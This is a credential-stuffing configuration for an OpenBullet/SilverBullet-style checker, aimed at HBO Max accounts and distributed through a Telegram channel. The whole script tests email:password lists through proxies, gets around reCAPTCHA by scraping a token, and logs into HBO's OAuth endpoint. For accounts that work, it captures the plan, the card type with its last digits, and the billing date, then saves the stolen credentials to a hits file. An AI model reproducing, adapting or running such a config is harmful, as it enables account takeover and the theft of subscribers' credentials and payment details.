[SETTINGS]
{
  "Name": "Hbo Max [iOS API]",
  "SuggestedBots": 1,
  "MaxCPM": 0,
  "LastModified": "2022-08-17T16:08:02.0880409-05:00",
  "AdditionalInfo": "Join US! / Unete t.me/SBandOBConfigs",
  "RequiredPlugins": [],
  "Author": "✯ 𝕄𝕣. 𝕏 ✯ [  @𝕋𝕙𝕖𝕄𝕣𝕏𝕤 𝕖𝕟 𝕥𝕖𝕝𝕖𝕘𝕣𝕒𝕞 ]",
  "Version": "1.1.2 [SB]",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": true,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "MailPass",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "CaptchaUrl": "",
  "IsBase64": false,
  "FilterList": [],
  "EvaluateMathOCR": false,
  "SecurityProtocol": 0,
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "AcceptInsecureCertificates": true,
  "DisableNotifications": false,
  "DisableImageLoading": false,
  "DefaultProfileDirectory": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": "",
  "Title": "Hbo Max [iOS API]",
  "IconPath": "Icon\\svbfile.ico",
  "LicenseSource": null,
  "Message": "Join US! / Unete! t.me/SBandOBConfigs",
  "MessageColor": "#FFFFFFFF",
  "HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
  "AuthorColor": "#FFFFB266",
  "WordlistColor": "#FFB5C2E1",
  "BotsColor": "#FFA8FFFF",
  "CustomInputColor": "#FFD6C7C7",
  "CPMColor": "#FFFFFFFF",
  "ProgressColor": "#FFAD93E3",
  "HitsColor": "#FF66FF66",
  "CustomColor": "#FFFFB266",
  "ToCheckColor": "#FF7FFFD4",
  "FailsColor": "#FFFF3333",
  "RetriesColor": "#FFFFFF99",
  "OcrRateColor": "#FF4698FD",
  "ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
REQUEST POST "https://oauth.api.hbo.com/auth/tokens" 
  CONTENT "{\"client_id\":\"24fa5e36-3dc4-4ed0-b3f1-29909271b63d\",\"client_secret\":\"24fa5e36-3dc4-4ed0-b3f1-29909271b63d\",\"scope\":\"browse video_playback_free account_registration\",\"grant_type\":\"client_credentials\",\"deviceSerialNumber\":\"ab378757-970f-4593-f892-bd1ebf974315\",\"clientDeviceData\":{\"paymentProviderCode\":\"apple\"}}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: application/vnd.hbo.v9.full+json" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-us" 
  HEADER "content-length: 310" 
  HEADER "content-type: application/json" 
  HEADER "user-agent: HBOMAX/52.31.0.1 CFNetwork/1331.0.7 Darwin/21.4.0" 
  HEADER "x-b3-traceid: cbc45ffe-4b6f-4319-c345-817dd4ffb7ad-e2b0c1ca-5d54-45f8-9894-872439545f3c" 
  HEADER "x-hbo-client-version: Hadron/52.31.0.1 ios (IPHONE/15.4.1)" 
  HEADER "x-hbo-device-name: ios" 
  HEADER "x-hbo-device-os-version: 15.4.1" 

PARSE "<SOURCE>" JSON "access_token" -> VAR "auth" 

REQUEST POST "https://sessions.api.hbo.com/sessions/v1/clientConfig" 
  CONTENT "{\"contract\":\"hadron:1.1.2.0\",\"preferredLanguages\":[\"en-us\"]}" 
  CONTENTTYPE "application/json" 
  HEADER "accept: application/vnd.hbo.v9.full+json" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-us" 
  HEADER "authorization: Bearer <auth>" 
  HEADER "content-length: 60" 
  HEADER "user-agent: HBOMAX/52.31.0.1 CFNetwork/1331.0.7 Darwin/21.4.0" 
  HEADER "x-b3-traceid: cbc45ffe-4b6f-4319-c345-817dd4ffb7ad-3df648e3-84cc-4d8c-8bc5-088d4a4550c8" 
  HEADER "x-hbo-client-version: Hadron/52.31.0.1 ios (IPHONE/15.4.1)" 
  HEADER "x-hbo-device-name: ios" 
  HEADER "x-hbo-device-os-version: 15.4.1" 

PARSE "<SOURCE>" JSON "globalization" -> VAR "global" 

PARSE "<SOURCE>" JSON "entitlements" -> VAR "ent" 

PARSE "<SOURCE>" JSON "privacy" -> VAR "priv" 

PARSE "<SOURCE>" JSON "telemetry" -> VAR "tele" 

PARSE "<SOURCE>" JSON "profile" -> VAR "perfil" 

REQUEST GET "https://www.google.com/recaptcha/enterprise/anchor?ar=1&k=6LdCWQEaAAAAABUkyP5_rITwMoDaL0ypqGSEKH5l&co=aHR0cHM6Ly93d3cuaGJvbWF4LmNvbTo0NDM.&hl=es&v=CHIHFAf1bjFPOjwwi5Xa4cWR&size=invisible&cb=asvg6tnafsb0" 
  
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 

PARSE "<SOURCE>" LR "<input type=\"hidden\" id=\"recaptcha-token\" value=\"" "\">" -> VAR "cap" 

FUNCTION GenerateGUID -> VAR "1" 

FUNCTION GenerateGUID -> VAR "2" 

REQUEST POST "https://oauth-latam.api.hbo.com/auth/tokens" 
  CONTENT "{\"grant_type\":\"user_name_password\",\"scope\":\"browse video_playback device elevated_account_management\",\"username\":\"<USER>\",\"password\":\"<PASS>\"}" 
  CONTENTTYPE "application/json" 
  HEADER "sec-fetch-mode: cors" 
  HEADER "sec-fetch-site: cross-site" 
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537accept: application/vnd.hbo.v9.full+json" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-us" 
  HEADER "authorization: Bearer <auth>" 
  HEADER "content-length: 158" 
  HEADER "content-type: application/json" 
  HEADER "origin: https://play.hbomax.com" 
  HEADER "referer: https://play.hbomax.com/" 
  HEADER "sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"" 
  HEADER "sec-ch-ua-mobile: ?0" 
  HEADER "sec-ch-ua-platform: \"Windows\"" 
  HEADER "x-b3-traceid: <1>-<2>" 
  HEADER "x-hbo-client-version: Hadron/52.20.0.13 desktop (DESKTOP)" 
  HEADER "x-hbo-device-name: desktop" 
  HEADER "x-hbo-device-os-version: undefined" 
  HEADER "x-hbo-headwaiter: entitlements:<ent>" 
  HEADER "x-recaptchatoken: <cap>" 

KEYCHECK 
  KEYCHAIN Success AND 
    KEY "access_token" 
    KEY "<RESPONSECODE>" Contains "200" 
  KEYCHAIN Failure AND 
    KEY "<SOURCE>" EqualTo "{\"statusCode\":401,\"message\":\"The email address or password is incorrect. Please try again.\",\"code\":\"invalid_credentials\"}" 
    KEY "<RESPONSECODE>" Contains "401" 
  KEYCHAIN Retry OR 
    KEY "<RESPONSECODE>" Contains "500" 

PARSE "<SOURCE>" JSON "access_token" -> VAR "token" 

REQUEST POST "https://comet.api.hbo.com/content" 
  CONTENT "[{\"id\":\"urn:hbo:billing-status:mine\",\"headers\":{\"x-hbo-appstorefront-country\":\"MEX\"}}]" 
  CONTENTTYPE "application/json" 
  HEADER "accept: application/vnd.hbo.v9.full+json" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: en-us" 
  HEADER "authorization: Bearer <token>" 
  HEADER "content-length: 86" 
  HEADER "user-agent: HBOMAX/52.31.0.1 CFNetwork/1331.0.7 Darwin/21.4.0" 
  HEADER "x-b3-traceid: <1>-<2>" 
  HEADER "x-hbo-client-version: Hadron/52.31.0.1 ios (IPHONE/15.4.1)" 
  HEADER "x-hbo-device-name: ios" 
  HEADER "x-hbo-device-os-version: 15.4.1" 
  HEADER "x-hbo-headwaiter: globalization:<global>,profile:<perfil>,telemetry:<tele>" 

KEYCHECK 
  KEYCHAIN Custom "EXPIRED" OR 
    KEY "Your subscription expired" 
  KEYCHAIN Custom "FREE" OR 
    KEY "You’re not subscribed to HBO Max." 
  KEYCHAIN Success OR 
    KEY "Your HBO Max subscription" 
    KEY "Billed Through: [Warner Media Direct, LLC]" 

PARSE "<SOURCE>" LR "Plan: " "(strong)" CreateEmpty=FALSE -> CAP "Plan" 

IF "<SOURCE>" Contains "Warner Media Direct"

PARSE "<SOURCE>" LR "Payment Method: [" "](strong) " -> VAR "type" 

PARSE "<SOURCE>" LR "nding in [" "](strong)" -> VAR "last" 

FUNCTION Constant "Tarjeta <type> con terminacion <last>" -> CAP "Metodo de pago" 

PARSE "<SOURCE>" LR "Billing Date: [" "T" -> VAR "end" 

FUNCTION Replace "-" "/" "<end>" -> CAP "Proxima fecha de facturacion" 

FUNCTION GetRemainingDay "<end>" -> CAP "Dias restantes" 

ELSE

PARSE "<SOURCE>" LR "\"Your HBO Max subscription is billed through [" "](strong)." CreateEmpty=FALSE -> CAP "Metodo de pago" 

ENDIF

FUNCTION Constant "✯ 𝕄𝕣. 𝕏 ✯ [t.me/SBandOBConfigs]" -> CAP "Config por" 

UTILITY File "Hits\\HboMax\\HboMax_hits.txt" AppendLines "     ◄ HboMax HIT ►\\nEmail: <USER>\\nPass: <PASS>\\nPlan: <Plan>\\nMetodo de pago: <Metodo de pago>\\n========================================" -> VAR "save" 

